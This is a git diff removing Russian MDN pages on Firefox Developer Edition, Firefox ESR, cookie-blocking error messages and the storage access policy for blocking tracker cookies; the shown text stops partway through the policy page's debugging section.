- <li><a class="external" href="https://www.joshmatthews.net/bugsahoy/" title="https://www.joshmatthews.net/bugsahoy/">Mentored bugs</a> получите наставника, который берет на себя обязательство помогать вам на каждом этапе пути. Как правило, в баге должно быть достаточно информации для начала работы. Всякий раз, когда вам нужна помощь, свяжитесь с наставником через Matrix, в самом баге или по электронной почте. Когда вы уберёте ошибку, они помогут вам поместить ваш код в дерево.</li>
- <li><a class="link-https" href="https://bugzil.la/sw:%22[good%20first%20bug]%22" title='https://bugzil.la/sw:"[good first bug]"'>"Good" first bugs</a> может быть, они немного устарели, но в какой-то момент своей жизни мы посчитали, что они станут хорошим первым шагом для новичков в Mozilla. Мы находимся в процессе миграции этих ошибок в наставнические ошибки, но более поздние "хорошие первые ошибки" могут быть хорошими отправными точками, если нет подходящих наставнических ошибок.</li>
- <li><a href="/en-US/docs/Mozilla/Developer_guide/How_to_Submit_a_Patch">How to submit a patch</a> (информация о том, как создать файл патча и поместить его в исходный код).</li>
-</ul>
-
-<p>Вы также можете задать начальные вопросы в разделе <a href="https://chat.mozilla.org/#/room/#introduction:mozilla.org">Introduction chat room</a> в <a href="https://wiki.mozilla.org/Matrix">Matrix</a>, и любые вопросы по развитию Firefox в <a href="https://chat.mozilla.org/#/room/#developers:mozilla.org">developers</a> room.</p>
-
-<p>Я сделал этот перевод, как только убедился в его отсутствии. Надеюсь, что и вы внесёте свой посильный вклад в доработку проектов Mozilla!</p>
diff --git a/files/ru/mozilla/firefox/developer_edition/index.html b/files/ru/mozilla/firefox/developer_edition/index.html
deleted file mode 100644
index 717de47b05..0000000000
--- a/files/ru/mozilla/firefox/developer_edition/index.html
+++ /dev/null
@@ -1,57 +0,0 @@
----
-title: Developer Edition
-slug: Mozilla/Firefox/Developer_Edition
-tags:
- - Beginner
- - Firefox
- - Landing
-translation_of: Mozilla/Firefox/Developer_Edition
----
-<div>{{FirefoxSidebar}}</div><p style="text-align: center;"><img alt="" src="https://mdn.mozillademos.org/files/9143/firefox-dev-ed_logo-only_1024.png" style="display: block; height: 256px; margin-left: auto; margin-right: auto; width: 256px;">Версия Firefox специально для веб-разработчиков.</p>
-
-<p id=".D0.97.D0.B0.D0.B3.D1.80.D1.83.D0.B7.D0.B8.D1.82.D1.8C_Firefox_Developer_Edition"><a href=" https://www.mozilla.org/ru/firefox/developer/" style="width: 250px; display: block; margin-left: auto; margin-right: auto; padding: 10px; text-align: center; border-radius: 4px; background-color: #81BC2E; white-space: nowrap; color: white; text-shadow: 0px 1px 0px rgba(0, 0, 0, 0.25); box-shadow: 0px 1px 0px 0px rgba(0, 0, 0, 0.2), 0px -1px 0px 0px rgba(0, 0, 0, 0.3) inset;">Загрузить Firefox Developer Edition</a></p>
-
-<hr>
-<div class="column-container">
-<div class="column-half">
-<h3 id="Последние_функции_в_Firefox"><strong>Последние функции в  Firefox</strong></h3>
-
-<p>Firefox Developer Edition заменяет канал Aurora в <a href="https://wiki.mozilla.org/Release_Management/Release_Process">процессе разработки браузера Firefox</a>. Как и в  Aurora, новые функции будут появлятся в релизе Developer Edition каждые шесть недель, после того как они будут стабилизированы в ночных сборках.</p>
-
-<p>При использовании версии Developer Edition, вы получаете доступ к инструментам и функциям платформы, опережающих основной релиз Firefox на 12 недель.</p>
-
-<p><a href="/ru/Firefox/Releases">Откройте, что нового в Firefox Developer Edition</a>.</p>
-</div>
-
-<div class="column-half">
-<h3 id="Другая_тема"><strong>Другая тема</strong></h3>
-
-<p>Сюда входит более быстрый доступ к инструментам разработчика.</p>
-
-<h3 id="Экспериментальные_инструменты_разработчика"><strong>Экспериментальные инструменты разработчика</strong></h3>
-
-<p>Мы включили экспериментальные инструменты, которые еще не готовы для основного выпуска.</p>
-
-<p>Например, Developer Edition включает <a href="/ru/docs/Tools/Valence">дополнение Valence</a>, которое позволяет подключать <a href="/ru/docs/Tools">Firefox developer tools</a> к другим браузерам, таким как Chrome на Android и Safari на iOS.</p>
-</div>
-</div>
-
-<div class="column-container">
-<div class="column-half">
-<h3 id="Отдельный_профиль"><strong>Отдельный профиль</strong></h3>
-
-<p>Firefox Developer Edition использует профиль, отдельный от других версий Firefox, установленных на вашем компьютере. Это означает, что вы можете легко запустить версию Developer Edition вместе с вашим выпуском или бета-версией Firefox.</p>
-</div>
-
-<div class="note">
-<p><strong>Внимание:</strong> Это означает, что при первом запуске Developer Edition вы увидите совсем не настроенный браузер, без дополнений, закладок, истории. Если хотите иметь одни и те же настройки в Developer Edition и других версиях Firefox, можете <a href="https://support.mozilla.org/ru/kb/how-do-i-set-up-firefox-sync">использовать Firefox Sync</a>.</p>
-</div>
-</div>
-
-<div class="column-half">
-<h3 id="Готов_сразу_для_работы"><strong>Готов сразу для работы</strong></h3>
-
-<p>Мы установили опции по-умолчанию специально для веб-разработчиков. Например, по умолчанию включены отладка {{glossary("chrome","хром")}} и удалённая отладка.</p>
-</div>
-
-<p> </p>
diff --git a/files/ru/mozilla/firefox/developer_edition/откат/index.html b/files/ru/mozilla/firefox/developer_edition/откат/index.html
deleted file mode 100644
index cfe3fb9dbe..0000000000
--- a/files/ru/mozilla/firefox/developer_edition/откат/index.html
+++ /dev/null
@@ -1,25 +0,0 @@
----
-title: Откат
-slug: Mozilla/Firefox/Developer_Edition/Откат
-translation_of: Mozilla/Firefox/Developer_Edition/Reverting
----
-<div>{{FirefoxSidebar}}</div><h2 id="Откат_темы_Developer_Edition">Откат темы Developer Edition</h2>
-
-<p><br>
- Если вы желаете использовать Developer Edition, но предпочитаете тему 'Australis', использовавшуюся в Firefox and Firefox Beta, вы можете переключиться в привычную тему Firefox: просто откройте панель "Изменить" и нажмите кнопку "Использовать тему Firefox Developer Edition".</p>
-
-<p>{{EmbedYouTube("OvJwofTjsNg")}}</p>
-
-<p>Учтите, что тема Developer Edition пока не совместима с облегченными темами. Так что если вы используете облегченную тему, вам необходимо вернуть тему Australis.</p>
-
-<h2 id="Возврат_к_Firefox_Aurora">Возврат к Firefox Aurora</h2>
-
-<p><br>
- Если вы хотите все pre-Beta возможности в Firefox Developer Edition, но вам не нужны все остальные изменения, то вы можете вернуть что-то наподобие старой доброй Firefox Aurora. При этом также вернутся ваши профиль и данные предыдущей сессии (вкладки и т.д.).  Это делается в два приема, и нужно выполнить их в следующей последовательности:</p>
-
-<ol>
- <li>Откройте страницу "Настройки" в Developer Edition, и снимите пометку с "Разрешить одновременный запуск Firefox Developer Edition and Firefox". Вам будет предложено перезапустить браузер.</li>
- <li>После перезапуска вы можете отменить тему Developer Edition открыв панель "Изменить" и нажав на кнопку "Использовать тему Firefox Developer Edition".</li>
-</ol>
-
-<p>{{EmbedYouTube("0Ofq-vlw8Qw")}}</p>
diff --git a/files/ru/mozilla/firefox/firefox_esr/index.html b/files/ru/mozilla/firefox/firefox_esr/index.html
deleted file mode 100644
index b40a987868..0000000000
--- a/files/ru/mozilla/firefox/firefox_esr/index.html
+++ /dev/null
@@ -1,15 +0,0 @@
----
-title: Firefox ESR
-slug: Mozilla/Firefox/Firefox_ESR
-tags:
- - CCK2
- - ESR
- - Firefox
- - Настольные компьютеры
-translation_of: Mozilla/Firefox/Firefox_ESR
----
-<div>{{FirefoxSidebar}}</div><p>Firefox Extended Support Release (ESR) основанный на официальных выпусках Firefox для ПК и ноутбуков используется организациями, которым нужна расширенная поддержка для массового развертывания. ESR отличается от других выпусков отстутсвием добавлений новых возможностей каждые 6 недель. Выпуски ESR поддерживаются на протяжении года и получают только основные обновления безопасности и исправления стабильности. Актуальная ESR версия основана на Firefox 45 от 8 марта 2016. Следующая ESR версия будет иметь 52 номер.</p>
-
-<p>CCK2 - луший способ для индивидуализации Firefox. Загрузите его <a href="https://mike.kaply.com/cck2/">здесь</a>.</p>
-
-<p>Мы настоятельно рекомендуем пользователям Firefox ESR подписаться на рассылку <a href="https://www.mozilla.org/en-US/firefox/organizations/">Корпоративной Рабочей Группы (EWG)</a>.</p>
diff --git a/files/ru/mozilla/firefox/privacy/index.html b/files/ru/mozilla/firefox/privacy/index.html
deleted file mode 100644
index c6a9e69b09..0000000000
--- a/files/ru/mozilla/firefox/privacy/index.html
+++ /dev/null
@@ -1,9 +0,0 @@
----
-title: Privacy
-slug: Mozilla/Firefox/Privacy
-tags:
- - NeedsTranslation
- - TopicStub
-translation_of: Mozilla/Firefox/Privacy
----
-<div>{{FirefoxSidebar}}</div><p>{{ ListSubpages () }}</p>
diff --git a/files/ru/mozilla/firefox/privacy/storage_access_policy/errors/cookieblockedforeign/index.html b/files/ru/mozilla/firefox/privacy/storage_access_policy/errors/cookieblockedforeign/index.html
deleted file mode 100644
index 8f0361fba6..0000000000
--- a/files/ru/mozilla/firefox/privacy/storage_access_policy/errors/cookieblockedforeign/index.html
+++ /dev/null
@@ -1,43 +0,0 @@
----
-title: 'Заблокировано: Все сторонние запросы на доступ к хранилищу'
-slug: Mozilla/Firefox/Privacy/Storage_access_policy/Errors/CookieBlockedForeign
-tags:
- - Куки
- - Отслеживание
- - Ошибки
- - Хранилище
- - политика доступа к хранилищу
-translation_of: Mozilla/Firefox/Privacy/Storage_access_policy/Errors/CookieBlockedForeign
----
-<div>{{FirefoxSidebar}}</div>
-
-<h2 id="Сообщение">Сообщение</h2>
-
-<p>Firefox (англ.):</p>
-
-<pre class="syntaxbox notranslate">CookieBlockedForeign=Request to access cookies or storage on “X” was blocked because we are blocking all third-party storage access requests and content blocking is enabled.</pre>
-
-<p>Firefox:</p>
-
-<pre class="syntaxbox notranslate">CookieBlockedForeign=<span class="message-body-wrapper"><span class="message-flex-body"><span class="devtools-monospace message-body">Запрос на доступ к куке или хранилищу на «X» был заблокирован, в связи с тем, что пользователем заблокированы все сторонние запросы доступа к хранилищу, а также включена блокировка содержимого.</span></span></span></pre>
-
-<h2 id="Что_не_так">Что не так?</h2>
-
-<p>Запрос на доступ к куки-файлам или хранилищу был заблокирован, потому что он пришёл из третьей стороны (другого веб-сайта) и блокировка контента включена.</p>
-
-<p>Доступ может быть изменено или удалено так:</p>
-
-<ul>
- <li>Идти в <em>Настройки &gt; Блокировка контента </em>и похожие</li>
- <li>добавление исключения с помощью кнопки <em>Управлять исключениями…</em></li>
- <li>choosing the <em>Custom</em> Content Blocking and unchecking the <em>Cookies</em> checkbox</li>
-</ul>
-
-<p>If the resource that is being blocked doesn't need authentication, you can fix the warning message by adding a <code>crossorigin="anonymous"</code> attribute to the relevant element.</p>
-
-<h2 id="See_also">See also</h2>
-
-<ul>
- <li><a href="https://support.mozilla.org/en-US/kb/content-blocking">Content blocking</a> on <a href="https://support.mozilla.org">support.mozilla.org</a></li>
- <li><a href="/en-US/docs/Web/HTML/CORS_settings_attributes">The <code>crossorigin</code> attribute</a></li>
-</ul>
diff --git a/files/ru/mozilla/firefox/privacy/storage_access_policy/errors/cookieblockedtracker/index.html b/files/ru/mozilla/firefox/privacy/storage_access_policy/errors/cookieblockedtracker/index.html
deleted file mode 100644
index 278e7454bc..0000000000
--- a/files/ru/mozilla/firefox/privacy/storage_access_policy/errors/cookieblockedtracker/index.html
+++ /dev/null
@@ -1,38 +0,0 @@
----
-title: 'Заблокировано: запросы на доступ к хранилищу от трекеров'
-slug: Mozilla/Firefox/Privacy/Storage_access_policy/Errors/CookieBlockedTracker
-translation_of: Mozilla/Firefox/Privacy/Storage_access_policy/Errors/CookieBlockedTracker
----
-<div>{{FirefoxSidebar}}</div>
-
-<h2 id="Сообщение">Сообщение</h2>
-
-<p>Firefox:</p>
-
-<pre class="syntaxbox">CookieBlockedTracker=<span class="message-body-wrapper"><span class="message-flex-body"><span class="devtools-monospace message-body"><span class="objectBox objectBox-string">Запрос на доступ к куке или хранилищу на</span></span></span></span> “X” <span class="message-body-wrapper"><span class="message-flex-body"><span class="devtools-monospace message-body"><span class="objectBox objectBox-string">был заблокирован, в связи с тем, что он поступил от трекера, при включенной блокировке содержимого.</span></span></span></span>
-</pre>
-
-<h2 id="Что_пошло_не_так">Что пошло не так?</h2>
-
-<p>Запрос на доступ к cookies или хранилищу был заблокирован, поскольку браузер определил его как поступающий от трекера, и блокировка контента включена.</p>
-
-<p>Разрешение может быть изменено или удалено:</p>
-
-<ul>
- <li>Перейдите в <em>Настройки &gt; Блокировка</em> содержимого и либо
-
- <ul>
- <li>добавьте сайт в исключения с помощью кнопки <em>Управление исключениями...</em></li>
- <li>выберите вариант <em>Персональная в </em>Блокировке содержимого и снимите выделение в чекбокса <em>Трекеры</em></li>
- </ul>
- </li>
-</ul>
-
-<p>Если заблокированный ресурс не нуждается в аутентификации, вы можете исправить предупреждающее сообщение, добавив атрибут <code>crossorigin="anonymous"</code> к соответствующему элементу.</p>
-
-<h2 id="Смотрите_также">Смотрите также</h2>
-
-<ul>
- <li><a href="https://support.mozilla.org/en-US/kb/content-blocking">Блокировка контента</a> на <a href="https://support.mozilla.org">support.mozilla.org</a></li>
- <li><a href="/en-US/docs/Web/HTML/CORS_settings_attributes">Аттрибут <code>crossorigin</code></a></li>
-</ul>
diff --git a/files/ru/mozilla/firefox/privacy/storage_access_policy/errors/index.html b/files/ru/mozilla/firefox/privacy/storage_access_policy/errors/index.html
deleted file mode 100644
index a1e1f54a75..0000000000
--- a/files/ru/mozilla/firefox/privacy/storage_access_policy/errors/index.html
+++ /dev/null
@@ -1,24 +0,0 @@
----
-title: Errors
-slug: Mozilla/Firefox/Privacy/Storage_access_policy/Errors
-tags:
- - Cookies
- - Errors
- - NeedsTranslation
- - Storage
- - TopicStub
- - storage access policy
-translation_of: Mozilla/Firefox/Privacy/Storage_access_policy/Errors
----
-<div>{{FirefoxSidebar}}</div>
-
-<p>This page lists the errors that can be raised due to Firefox's anti-tracking functionality, governed by the <a href="/en-US/docs/Mozilla/Firefox/Privacy/Storage_access_policy">Storage access policy</a>. You can find further information about them by clicking on the links below:</p>
-
-<p>A request to access cookies or storage was blocked because</p>
-
-<ul>
- <li><a href="/en-US/docs/Mozilla/Firefox/Privacy/Storage_access_policy/Errors/CookieBlockedByPermission">of custom cookie permission</a></li>
- <li><a href="/en-US/docs/Mozilla/Firefox/Privacy/Storage_access_policy/Errors/CookieBlockedTracker">it came from a tracker and content blocking is enabled</a></li>
- <li><a href="/en-US/docs/Mozilla/Firefox/Privacy/Storage_access_policy/Errors/CookieBlockedAll">we are blocking all storage access requests</a></li>
- <li><a href="/en-US/docs/Mozilla/Firefox/Privacy/Storage_access_policy/Errors/CookieBlockedForeign">we are blocking all third-party storage access requests and content blocking is enabled</a></li>
-</ul>
diff --git a/files/ru/mozilla/firefox/privacy/storage_access_policy/index.html b/files/ru/mozilla/firefox/privacy/storage_access_policy/index.html
deleted file mode 100644
index 1fc385d6e7..0000000000
--- a/files/ru/mozilla/firefox/privacy/storage_access_policy/index.html
+++ /dev/null
@@ -1,274 +0,0 @@
----
-title: 'Storage access policy: Block cookies from trackers'
-slug: Mozilla/Firefox/Privacy/Storage_access_policy
-tags:
- - NeedsTranslation
- - Privacy
- - TopicStub
- - storage access policy
- - tracking protection
-translation_of: Mozilla/Firefox/Privacy/Storage_access_policy
----
-<div>{{FirefoxSidebar}}</div>
-
-<p class="summary">Firefox includes a new storage access policy that blocks cookies and other site data from third-party tracking resources. This new policy is designed as an alternative to the <a href="/en-US/docs/Mozilla/Cookies_Preferences">current policies</a>, which have been available in Firefox for many years. The new policy protects against cross-site tracking while minimizing the site breakage associated with traditional cookie blocking. This article explains how the new policy works and how you can test it.</p>
-
-<h2 id="Testing_in_Firefox">Testing in Firefox</h2>
-
-<p>You can test how your website works under the new policy in Firefox version 63+. Those who want to test the absolute newest version of the policy can download <a href="https://www.mozilla.org/en-US/firefox/channel/desktop/#nightly">Firefox Nightly</a>, but note that Nightly may include versions of the policy that end up changing before they reach our Release users. You can enable it through the “Content Blocking” menu in the <a href="https://support.mozilla.org/en-US/kb/control-center-site-privacy-and-security-firefox">Control Center</a> in Firefox:</p>
-
-<ul>
- <li>Open up any version of Firefox version 63 or above. (for those who want to test the newest policy revision: download, install, and open up <a href="https://www.mozilla.org/en-US/firefox/channel/desktop/#nightly">Firefox Nightly</a>.)</li>
- <li>Open the Content Blocking menu in the Control Center.</li>
- <li>Click "Add Blocking…" next to "Third-party Cookies".</li>
- <li>On the page that follows check "Third-party Cookies" and set the radio button to "Trackers".</li>
-</ul>
-
-<p>As this is an experimental policy, it will likely change as we discover site breakage and fix bugs. We’ll keep this page updated with the newest information.</p>
-
-<h3 id="Report_Broken_Sites">Report Broken Sites</h3>
-
-<p>If you find a website broken as a result of this change, file a bug under the Tracking Protection component within the Firefox product on <a href="https://bugzilla.mozilla.org/enter_bug.cgi?assigned_to=nobody%40mozilla.org&amp;blocked=1480137&amp;bug_file_loc=http%3A%2F%2F&amp;bug_ignored=0&amp;bug_severity=normal&amp;bug_status=NEW&amp;cf_fx_iteration=---&amp;cf_fx_points=---&amp;cf_platform_rel=---&amp;cf_status_firefox62=---&amp;cf_status_firefox63=---&amp;cf_status_firefox64=---&amp;cf_status_firefox_esr60=---&amp;cf_status_geckoview62=---&amp;cf_tracking_firefox62=---&amp;cf_tracking_firefox63=---&amp;cf_tracking_firefox64=---&amp;cf_tracking_firefox_esr60=---&amp;cf_tracking_firefox_relnote=---&amp;cf_tracking_geckoview62=---&amp;component=Tracking%20Protection&amp;contenttypemethod=list&amp;contenttypeselection=text%2Fplain&amp;defined_groups=1&amp;flag_type-203=X&amp;flag_type-37=X&amp;flag_type-41=X&amp;flag_type-5=X&amp;flag_type-607=X&amp;flag_type-721=X&amp;flag_type-737=X&amp;flag_type-748=X&amp;flag_type-787=X&amp;flag_type-799=X&amp;flag_type-800=X&amp;flag_type-803=X&amp;flag_type-835=X&amp;flag_type-846=X&amp;flag_type-855=X&amp;flag_type-864=X&amp;flag_type-914=X&amp;flag_type-916=X&amp;flag_type-929=X&amp;flag_type-930=X&amp;flag_type-933=X&amp;form_name=enter_bug&amp;maketemplate=Remember%20values%20as%20bookmarkable%20template&amp;op_sys=Unspecified&amp;priority=--&amp;product=Firefox&amp;rep_platform=Unspecified&amp;target_milestone=---&amp;version=unspecified">Bugzilla</a>. Alternatively you can report a broken sites directly in Firefox by clicking "Report a Problem" in the Content Blocking section of the Control Center.</p>
-
-<p><img alt="diagram showing the report a problem button within the Content Blocking section of the Control Center" src="https://mdn.mozillademos.org/files/16249/control_center_report_problem.png" style="height: 475px; width: 509px;"></p>
-
-<h2 id="Tracking_protection_explained">Tracking protection explained</h2>
-
-<p>How does Firefox determine which resources are tracking resources?</p>
-
-<p>Firefox uses the Tracking Protection list to determine which resources are tracking resources. The Tracking Protection list is <a href="https://github.com/disconnectme/disconnect-tracking-protection/issues">maintained by Disconnect</a>. When the list is applied in Firefox, we make two important changes:</p>
-
-<ul>
- <li>First, we only use the "Basic Protection" version of the list, which <a href="https://github.com/mozilla-services/shavar-prod-lists#blacklist">excludes some categories of trackers</a>. In the future, we may expand our protections to use the "Strict Protection" version of the list.</li>
- <li>Second, Firefox uses an additional "<a href="https://github.com/mozilla-services/shavar-prod-lists/blob/master/disconnect-entitylist.json">entity list</a>", which prevents <a href="https://github.com/mozilla-services/shavar-prod-lists#entity-list">domains from being classified as trackers when they are loaded on a top-level site owned by the same organization</a>.</li>
-</ul>
-
-<p>Firefox uses the built-in <a href="https://support.mozilla.org/en-US/kb/tracking-protection">Tracking Protection</a> URL classifier to determine which resources match the tracking protection list. Domains are matched against the list in accordance with the <a href="https://developers.google.com/safe-browsing/v4/urls-hashing#suffixprefix-expressions">SafeBrowsing v4 specification</a>. Specifically, we check the exact hostname of the resource against the list, as well as the last four hostnames formed by starting with the last five components and successively removing the leading component. Consider the following examples:</p>
-
-<table class="standard-table">
- <thead>
- <tr>
- <th scope="col">Hostname on the list</th>
- <th scope="col">Hostname of resource</th>
- <th scope="col">Matched</th>
- </tr>
- </thead>
- <tbody>
- <tr>
- <td><code>example.com</code></td>
- <td><code>example.com</code></td>
- <td>Yes</td>
- </tr>
- <tr>
- <td><code>example.com</code></td>
- <td><code>a.b.example.com</code></td>
- <td>Yes</td>
- </tr>
- <tr>
- <td><code>blah.example.com</code></td>
- <td><code>example.com</code></td>
- <td>No</td>
- </tr>
- <tr>
- <td><code>a.b.example.com</code></td>
- <td><code>c.d.example.com</code></td>
- <td>No</td>
- </tr>
- <tr>
- <td><code>blah.example.com</code></td>
- <td><code>foo.blah.example.com</code></td>
- <td>Yes</td>
- </tr>
- </tbody>
-</table>
-
-<h2 id="What_does_the_storage_access_policy_block">What does the storage access policy block?</h2>
-
-<p>The storage access policy blocks resources identified as trackers from accessing their cookies and other site storage when they are loaded in a third-party context. This prevents those resources from retrieving tracking identifiers stored in cookies or site storage and using them to identify users across visits to multiple first parties. Specifically, Firefox does this by imposing the following restrictions:</p>
-
-<p>Cookies:</p>
-
-<ul>
- <li>Block {{httpheader("Cookie")}} request headers and ignore {{httpheader("Set-Cookie")}} response headers.</li>
- <li>Return an empty string for calls to {{domxref("Document.cookie")}} and ignore requests to set cookies via <code>Document.cookie</code>.</li>
-</ul>
-
-<p>DOM Storage:</p>
-
-<ul>
- <li><a href="/en-US/docs/Web/API/Web_Storage_API">localStorage</a>: <code><a href="/en-US/docs/Web/API/Window/localStorage">Window.localStorage</a></code> is <code>null</code>. Thus, attempts to read and write using this object will throw a <code>TypeError</code> exception.</li>
- <li><a href="/en-US/docs/Web/API/Web_Storage_API">sessionStorage</a>: read and write attempts are permitted.</li>
- <li><a href="/en-US/docs/Web/API/IndexedDB_API">IndexedDB</a>: read and write attempts throw a <code>SecurityError</code> exception.</li>
-</ul>
-
-<p>Messaging and Workers:</p>
-
-<ul>
- <li><a href="/en-US/docs/Web/API/Broadcast_Channel_API">Broadcast Channel</a>: attempts to create a new {{domxref("BroadcastChannel")}} will throw a <code>SecurityError</code> exception.</li>
- <li><a href="/en-US/docs/Web/API/Web_Workers_API">Shared Worker</a>: attempts to create a new {{domxref("SharedWorker")}} will throw a <code>SecurityError</code> exception.</li>
- <li><a href="/en-US/docs/Web/API/Service_Worker_API">Service Worker</a>: attempts to create a new {{domxref("ServiceWorker")}} will throw a <code>SecurityError</code> exception.</li>
-</ul>
-
-<p>DOM Cache:</p>
-
-<ul>
- <li>Calls to {{domxref("CacheStorage")}} will always reject with a <code>SecurityError</code>.</li>
-</ul>
-
-<p>Browser caches:</p>
-
-<ul>
- <li>The <a href="/en-US/docs/Mozilla/HTTP_cache">HTTP cache</a> and the Image cache are partitioned for tracking resources, such that each top-level origin will have a separate partition and tracking resources on different top-level origins will be cached separate from each other.</li>
-</ul>
-
-<p>Network connections:</p>
-
-<ul>
- <li><a href="https://wiki.mozilla.org/Security/Server_Side_TLS#Session_Resumption">TLS sessions</a> will not be resumed using a session ticket when an HTTPS connection is made to an embedded third-party resource that is classified as a tracker.</li>
- <li><a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Connection_management_in_HTTP_1.x#Persistent_connections">HTTP connection reuse</a> by domains classified as trackers is limited to requests that occur under the same top-level origin. For example, a request for content from tracker.example on news.example will not reuse an HTTP connection with a request for content from tracker.example on shopping.example or with requests that occur when tracker.example is visited directly (i.e., as a first party).</li>
-</ul>
-
-<h3 id="What_is_not_blocked_by_the_policy">What is not blocked by the policy?</h3>
-
-<ol>
- <li>This policy does not currently restrict third-party storage access for resources that are not classified as tracking resources. We may choose to apply additional restrictions to third-party storage access in the future.</li>
- <li>The restrictions applied by the policy will not prevent third-party scripts classified as tracking resources from accessing storage in the main context of the page. These scripts can continue to use storage scoped to the top-level origin.</li>
- <li>Origins classified as trackers will have access to their own storage when they are loaded in a first-party context.</li>
- <li>Cross-origin resources loaded from the same eTLD+1 as the top-level context will still have access to their storage.</li>
- <li>Origins normally classified as trackers will <a href="https://github.com/mozilla-services/shavar-prod-lists#entity-list">not be blocked if the top-level page origin is determined to be from the same organization as them</a>.</li>
-</ol>
-
-<h2 id="Storage_access_grants">Storage access grants</h2>
-
-<p>In order to improve web compatibility and permit third-party integrations that require storage access, Firefox will grant storage access scoped to the first party for a particular third-party origin as described in this section. Currently, Firefox includes some web compatibility heuristics that grant storage access to third-party resources classified as trackers when a user interacts with those third parties. We do this when we expect that not granting access would cause the web page to break. We also support an initial implementation of the <a href="https://developer.mozilla.org/en-US/docs/Web/API/Storage_Access_API">Storage Access API</a>, through which embedded {{htmlelement("iframe")}}s can request storage access by calling {{domxref("Document.requestStorageAccess()")}}. Although both of these approaches provide the same level of storage access, we recommend third parties switch to using the Storage Access API in order to guarantee their access to storage.</p>
-
-<h3 id="Automatic_storage_access_upon_interaction">Automatic storage access upon interaction</h3>
-
-<p>In order to improve web compatibility, Firefox currently includes some heuristics to grant storage access automatically to third parties that receive user interaction. These heuristics are intended to allow some third-party integrations that are common on the web to continue to function. They are intended to be temporary and will be removed in a future version of Firefox. They should not be relied upon for current and future web development.</p>
-
-<p>Third-party storage access may be granted to resources that have been classified as tracking resources when a user gesture triggers a pop-up window that has <a href="/en-US/docs/Web/API/Window/opener">opener access</a> to the originating document. When that occurs, there are two possible ways a third-party origin can be granted access:</p>
-
-<ul>
- <li>The origin of the resource that is initially loaded in the pop-up window is granted storage access on the opener document if that origin has received user interaction as a first party within the past 30 days.</li>
- <li>After the initial resource is loaded in the pop-up window, the window may go through a series of redirects to other hosts. If a user interacts with the pop-up window following a redirect, the origin of the content loaded in the pop-up window is given storage access on the opener document.</li>
-</ul>
-
-<h3 id="Scope_of_storage_access">Scope of storage access</h3>
-
-<p>When storage access is granted, it is scoped to the origin of the opener document or subdomains of that origin. Access that is granted on the subdomain of an origin does not extend to the top-level origin. As an example, if a resource from <code>tracker.example</code> is granted storage access on <code>foo.example.com</code>, then <code>tracker.example</code> will be able to access its cookies on <code>bar.foo.example.com</code> but not <code>example.com</code>. Instead, if <code>tracker.example</code> were granted access on <code>example.com</code> it would be able to access its storage on <code>bar.foo.example.com</code>, <code>foo.example.com</code>, and <code>example.com</code>.</p>
-
-<p>When storage access is granted to <code>tracker.example</code> on <code>example.com</code>, all resources loaded from <code>tracker.example</code> on any top-level document loaded from <code>example.com</code> are immediately given storage access. This includes all resources loaded in the main context of the page, embedded <code>&lt;iframe&gt;</code>s, and resources loaded within embedded <code>&lt;iframe&gt;</code>s. Storage access is not extended to other resources loaded on <code>example.com</code> (e.g. <code>other-tracker.example</code>), nor to other first parties on which <code>tracker.example</code> is embedded (e.g. <code>example.org</code>).</p>
-
-<p>Storage access grants extend into the first level of nested contexts, but no further. This means that <code>&lt;iframe&gt;</code>s embedded in the main context of the page and loaded from a domain classified as a tracker will have full access to all storage locations accessible through JavaScript. Similarly, requests for resources loaded in <code>&lt;iframe&gt;</code>s embedded in the main context of the page will have access to HTTP cookies. However, further nested contexts, including but not limited to those from the origin classified as a tracker, will not be granted storage access.</p>
-
-<p>Consider the following embedding scenarios on a top-level page loaded from <code>example.com</code> on which <code>tracker.example</code> has been granted storage access.</p>
-
-<table class="standard-table">
- <thead>
- <tr>
- <th scope="col">Embedding</th>
- <th scope="col">tracker.example resource storage access</th>
- </tr>
- </thead>
- <tbody>
- <tr>
- <td>An image is loaded from <code>tracker.example</code> and embedded in the main context of <code>example.com</code>.</td>
- <td>HTTP: Yes<br>
- JS: N/A</td>
- </tr>
- <tr>
- <td><code>example.com</code> embeds an <code>&lt;iframe&gt;</code> from <code>example.org</code>. That <code>&lt;iframe&gt;</code> goes on to load an image from <code>tracker.example</code>.</td>
- <td>HTTP: Yes<br>
- JS: N/A</td>
- </tr>
- <tr>
- <td><code>example.com</code> embeds an <code>&lt;iframe&gt;</code> from <code>example.org</code>. That <code>&lt;iframe&gt;</code> goes on to embed an <code>&lt;iframe&gt;</code> from <code>tracker.example</code>.</td>
- <td>HTTP: Yes<br>
- JS: No</td>
- </tr>
- <tr>
- <td><code>example.com</code> embeds an <code>&lt;iframe&gt;</code> from <code>tracker.example</code>.</td>
- <td>HTTP: Yes<br>
- JS: Yes</td>
- </tr>
- <tr>
- <td><code>example.com</code> embeds an <code>&lt;iframe&gt;</code> from <code>example.com</code> (same origin). The nested <code>&lt;iframe&gt;</code> embeds an <code>&lt;iframe&gt;</code> from <code>tracker.example</code>.</td>
- <td>HTTP: Yes<br>
- JS: No</td>
- </tr>
- </tbody>
-</table>
-
-<h3 id="Storage_access_expiration">Storage access expiration</h3>
-
-<p>The storage access grant expires after 30 days. Domains classified as tracking resources may be granted third-party storage access on multiple first parties, and the storage permission for each party expires independently. The above heuristics will also serve to extend the lifetime of a third-party storage permission on origins that have already been granted access.  Each time the heuristic is activated, or a success call to the Storage Access API is made, the pre-existing storage access expiration will be extended by 30 days, counting from the time the previous access was granted.</p>
-
-<p>Please note that in the future we expect to make changes to how long storage access will remain valid for.  As mentioned before, the way to know that you will be able to use storage as a third-party going forward will be using the Storage Access API.</p>
-
-<h2 id="Debugging">Debugging</h2>
-
-<p>We encourage site owners to test their sites, particularly those that rely on third-party content integrations. We’ve added several new features to Firefox to make testing easier.</p>
-
-<h3 id="Developer_Tools_notifications">Developer Tools notifications</h3>
-
-<p>The <a href="/en-US/docs/Tools/Network_Monitor">Network Monitor</a> in Firefox Developer Tools now includes an indicator for all resource requests that have been classified as tracking resources. This indicator is shown as a shield icon in the domain column. In the sample image below, <code>trackertest.org</code> is classified as a tracking resource, while the request to example.com is not.</p>
-
-<p><img alt="network requests in Firefox devtools indicating which ones are tracking resources with a small shield icon" src="https://mdn.mozillademos.org/files/16181/Screen_Shot_2018-09-21_at_10.34.22_AM.png" style="border-style: solid; border-width: 1px; display: block; height: 57px; margin: 0px auto; width: 600px;"></p>
-
-<h3 id="Adding_custom_domains_to_the_Tracking_Protection_list">Adding custom domains to the Tracking Protection list</h3>
-
-<p>Curious how things will work if a third-party domain on your site were classified as a tracker? We’ve added a preference that allows you to add custom domains to the Tracking Protection URL classifier. To do so:</p>
